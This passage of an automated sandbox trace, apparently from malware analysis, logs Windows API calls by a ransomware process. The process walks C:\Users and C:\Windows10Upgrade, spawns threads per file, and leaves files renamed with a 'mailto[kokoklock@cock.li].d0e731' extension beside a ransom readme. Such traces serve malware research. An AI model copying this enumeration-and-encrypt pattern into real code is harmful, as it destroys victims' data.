PowerShell.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.739] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x82) returned 0x2f82868 [0165.739] wcscpy (in: _Dest=0x2f82868, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.739] wcscat (in: _Dest=0x2f82868, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.739] wcscat (in: _Dest=0x2f82868, _Source="Windows PowerShell.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Windows PowerShell.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Windows PowerShell.evtx.mailto[kokoklock@cock.li].d0e731" [0165.739] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f82868, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ec [0165.740] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7fb97da9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="WINDOW~1.D0E")) returned 0 [0165.740] FindClose (in: hFindFile=0x2f808e0 | out: hFindFile=0x2f808e0) returned 1 [0165.740] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f93fb8) returned 1 [0165.740] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f81998) returned 1 [0165.740] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f81a18) returned 1 [0165.740] RtlExitUserThread (Status=0x0) Thread: id = 1477 os_tid = 0xdf0 [0163.760] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x1c) returned 0x2f8ac70 [0163.760] wcscpy (in: _Dest=0x2f8ac70, _Source="C:\\Recovery" | out: _Dest="C:\\Recovery") returned="C:\\Recovery" [0163.760] wcscat (in: _Dest=0x2f8ac70, _Source="\\" | out: _Dest="C:\\Recovery\\") returned="C:\\Recovery\\" [0163.760] wcscat (in: _Dest=0x2f8ac70, _Source="*" | out: _Dest="C:\\Recovery\\*") returned="C:\\Recovery\\*" [0163.760] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f958e8 [0163.760] FindFirstFileW (in: lpFileName="C:\\Recovery\\*", lpFindFileData=0x2f958e8 | out: lpFindFileData=0x2f958e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.761] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f958e8) returned 1 [0163.761] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac70) returned 1 [0163.761] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac98) returned 1 [0163.761] RtlExitUserThread (Status=0x0) Thread: id = 1478 os_tid = 0xdf4 [0163.762] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x16) returned 0x2f81a38 [0163.762] wcscpy (in: _Dest=0x2f81a38, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0163.762] wcscat (in: _Dest=0x2f81a38, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\" [0163.762] wcscat (in: _Dest=0x2f81a38, _Source="*" | out: _Dest="C:\\Users\\*") returned="C:\\Users\\*" [0163.762] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f958e8 [0163.762] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x2f958e8 | out: lpFindFileData=0x2f958e8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80320 [0163.762] wcscmp (_String1=".", _String2=".") returned 0 [0163.762] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x2f958e8 | out: lpFindFileData=0x2f958e8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.762] wcscmp (_String1="..", _String2=".") returned 1 [0163.762] wcscmp (_String1="..", _String2="..") returned 0 [0163.762] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x2f958e8 | out: lpFindFileData=0x2f958e8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xd7b844b1, ftCreationTime.dwHighDateTime=0x1d2a02f, ftLastAccessTime.dwLowDateTime=0xd7b844b1, ftLastAccessTime.dwHighDateTime=0x1d2a02f, ftLastWriteTime.dwLowDateTime=0xd7b844b1, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0163.762] wcscmp (_String1="All Users", _String2=".") returned 1 [0163.762] wcscmp (_String1="All Users", _String2="..") returned 1 [0163.762] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x26) returned 0x2f917d0 [0163.762] wcscpy (in: _Dest=0x2f917d0, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0163.762] wcscat (in: _Dest=0x2f917d0, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\" [0163.762] wcscat (in: _Dest=0x2f917d0, _Source="All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0163.788] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f917d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x37c [0163.789] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x2f958e8 | out: lpFindFileData=0x2f958e8*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x82caf5e3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82caf5e3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0163.789] wcscmp (_String1="Default", _String2=".") returned 1 [0163.789] wcscmp (_String1="Default", _String2="..") returned 1 [0163.789] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x22) returned 0x2f916b0 [0163.789] wcscpy (in: _Dest=0x2f916b0, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0163.789] wcscat (in: _Dest=0x2f916b0, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\" [0163.789] wcscat (in: _Dest=0x2f916b0, _Source="Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0163.789] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f916b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b0 [0163.790] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x2f958e8 | out: lpFindFileData=0x2f958e8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xd7b844b1, ftCreationTime.dwHighDateTime=0x1d2a02f, ftLastAccessTime.dwLowDateTime=0xd7b844b1, ftLastAccessTime.dwHighDateTime=0x1d2a02f, ftLastWriteTime.dwLowDateTime=0xd7b844b1, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0163.790] wcscmp (_String1="Default User", _String2=".") returned 1 [0163.790] wcscmp (_String1="Default User", _String2="..") returned 1 [0163.790] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x2c) returned 0x2f93180 [0163.790] wcscpy (in: _Dest=0x2f93180, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0163.790] wcscat (in: _Dest=0x2f93180, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\" [0163.790] wcscat (in: _Dest=0x2f93180, _Source="Default User" | out: _Dest="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0163.790] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f93180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b4 [0163.791] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x2f958e8 | out: lpFindFileData=0x2f958e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xc40864ff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7205420a, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default.migrated", cAlternateFileName="DEFAUL~1.MIG")) returned 1 [0163.791] wcscmp (_String1="Default.migrated", _String2=".") returned 1 [0163.791] wcscmp (_String1="Default.migrated", _String2="..") returned 1 [0163.791] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x34) returned 0x2f80360 [0163.791] wcscpy (in: _Dest=0x2f80360, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0163.791] wcscat (in: _Dest=0x2f80360, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\" [0163.791] wcscat (in: _Dest=0x2f80360, _Source="Default.migrated" | out: _Dest="C:\\Users\\Default.migrated") returned="C:\\Users\\Default.migrated" [0163.791] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f80360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b8 [0163.791] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x2f958e8 | out: lpFindFileData=0x2f958e8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a9bc987, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5f69dfa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5f69dfa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0163.791] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0163.791] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0163.791] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x2f958e8 | out: lpFindFileData=0x2f958e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 1 [0163.791] wcscmp (_String1="FD1HVy", _String2=".") returned 1 [0163.792] wcscmp (_String1="FD1HVy", _String2="..") returned 1 [0163.792] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8abf8 [0163.792] wcscpy (in: _Dest=0x2f8abf8, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0163.792] wcscat (in: _Dest=0x2f8abf8, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\" [0163.792] wcscat (in: _Dest=0x2f8abf8, _Source="FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0163.792] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f8abf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3bc [0163.792] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x2f958e8 | out: lpFindFileData=0x2f958e8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x475e19ed, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475e19ed, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0163.792] wcscmp (_String1="Public", _String2=".") returned 1 [0163.792] wcscmp (_String1="Public", _String2="..") returned 1 [0163.792] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ad38 [0163.793] wcscpy (in: _Dest=0x2f8ad38, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0163.793] wcscat (in: _Dest=0x2f8ad38, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\" [0163.793] wcscat (in: _Dest=0x2f8ad38, _Source="Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0163.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f8ad38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c0 [0163.796] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x2f958e8 | out: lpFindFileData=0x2f958e8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x475e19ed, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475e19ed, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0 [0163.796] FindClose (in: hFindFile=0x2f80320 | out: hFindFile=0x2f80320) returned 1 [0163.796] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f958e8) returned 1 [0163.796] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f81a38) returned 1 [0163.796] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f81d18) returned 1 [0163.797] RtlExitUserThread (Status=0x0) Thread: id = 1479 os_tid = 0xdf8 [0163.763] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x2c) returned 0x2f937d8 [0163.763] wcscpy (in: _Dest=0x2f937d8, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0163.763] wcscat (in: _Dest=0x2f937d8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0163.763] wcscat (in: _Dest=0x2f937d8, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\*") returned="C:\\Windows10Upgrade\\*" [0163.763] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f97620 [0163.763] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\*", lpFindFileData=0x2f97620 | out: lpFindFileData=0x2f97620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x7f2dda5f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x7f2dda5f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80360 [0163.766] wcscmp (_String1=".", _String2=".") returned 0 [0163.766] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2f97620 | out: lpFindFileData=0x2f97620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x7f2dda5f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x7f2dda5f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.766] wcscmp (_String1="..", _String2=".") returned 1 [0163.766] wcscmp (_String1="..", _String2="..") returned 0 [0163.766] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2f97620 | out: lpFindFileData=0x2f97620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea35483d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea355be9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea355be9, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2052", cAlternateFileName="")) returned 1 [0163.766] wcscmp (_String1="2052", _String2=".") returned 1 [0163.767] wcscmp (_String1="2052", _String2="..") returned 1 [0163.767] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x32) returned 0x2f804a0 [0163.767] wcscpy (in: _Dest=0x2f804a0, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0163.767] wcscat (in: _Dest=0x2f804a0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0163.767] wcscat (in: _Dest=0x2f804a0, _Source="2052" | out: _Dest="C:\\Windows10Upgrade\\2052") returned="C:\\Windows10Upgrade\\2052" [0163.768] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f804a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x358 [0163.768] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2f97620 | out: lpFindFileData=0x2f97620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3659ec, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3659ec, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x704c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="appraiserxp.dll", cAlternateFileName="APPRAI~1.DLL")) returned 1 [0163.768] wcscmp (_String1="appraiserxp.dll", _String2=".") returned 1 [0163.768] wcscmp (_String1="appraiserxp.dll", _String2="..") returned 1 [0163.768] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2f97620 | out: lpFindFileData=0x2f97620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea36cf08, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea36cf08, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x7e99d66c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1cfc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootsect.exe.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="BOOTSE~1.D0E")) returned 1 [0163.768] wcscmp (_String1="bootsect.exe.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.769] wcscmp (_String1="bootsect.exe.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.769] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x84) returned 0x2f82fb8 [0163.769] wcscpy (in: _Dest=0x2f82fb8, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0163.769] wcscat (in: _Dest=0x2f82fb8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0163.769] wcscat (in: _Dest=0x2f82fb8, _Source="bootsect.exe.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\bootsect.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\bootsect.exe.mailto[kokoklock@cock.li].d0e731" [0163.769] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f82fb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x354 [0163.769] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2f97620 | out: lpFindFileData=0x2f97620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea350dad, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea350dad, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x7e9c3a64, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x0, dwReserved1=0x0, cFileName="Configuration.ini.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="CONFIG~1.D0E")) returned 1 [0163.769] wcscmp (_String1="Configuration.ini.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.769] wcscmp (_String1="Configuration.ini.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.769] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8e) returned 0x2f6aa70 [0163.769] wcscpy (in: _Dest=0x2f6aa70, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0163.769] wcscat (in: _Dest=0x2f6aa70, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0163.769] wcscat (in: _Dest=0x2f6aa70, _Source="Configuration.ini.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\Configuration.ini.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\Configuration.ini.mailto[kokoklock@cock.li].d0e731" [0163.769] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6aa70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x348 [0163.770] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2f97620 | out: lpFindFileData=0x2f97620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea36e29e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea36e29e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0xf0c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="cosquery.dll", cAlternateFileName="")) returned 1 [0163.770] wcscmp (_String1="cosquery.dll", _String2=".") returned 1 [0163.770] wcscmp (_String1="cosquery.dll", _String2="..") returned 1 [0163.770] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2f97620 | out: lpFindFileData=0x2f97620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e99d66c, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x7e99d66c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x7e99d66c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0163.770] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0163.770] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0163.770] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2f97620 | out: lpFindFileData=0x2f97620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea370998, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea370998, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x508c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DevInv.dll", cAlternateFileName="")) returned 1 [0163.770] wcscmp (_String1="DevInv.dll", _String2=".") returned 1 [0163.770] wcscmp (_String1="DevInv.dll", _String2="..") returned 1 [0163.770] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2f97620 | out: lpFindFileData=0x2f97620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3757e9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea377ed3, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea37926f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dll1", cAlternateFileName="")) returned 1 [0163.770] wcscmp (_String1="dll1", _String2=".") returned 1 [0163.770] wcscmp (_String1="dll1", _String2="..") returned 1 [0163.770] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x32) returned 0x2f80660 [0163.770] wcscpy (in: _Dest=0x2f80660, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0163.770] wcscat (in: _Dest=0x2f80660, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0163.770] wcscat (in: _Dest=0x2f80660, _Source="dll1" | out: _Dest="C:\\Windows10Upgrade\\dll1") returned="C:\\Windows10Upgrade\\dll1" [0163.771] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f80660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x360 [0163.771] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2f97620 | out: lpFindFileData=0x2f97620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea37cd05, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37cd05, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea37e09b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dll2", cAlternateFileName="")) returned 1 [0163.771] wcscmp (_String1="dll2", _String2=".") returned 1 [0163.771] wcscmp (_String1="dll2", _String2="..") returned 1 [0163.771] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x32) returned 0x2f803a0 [0163.771] wcscpy (in: _Dest=0x2f803a0, _Source="C:\\Windows10Upgrade" | out: 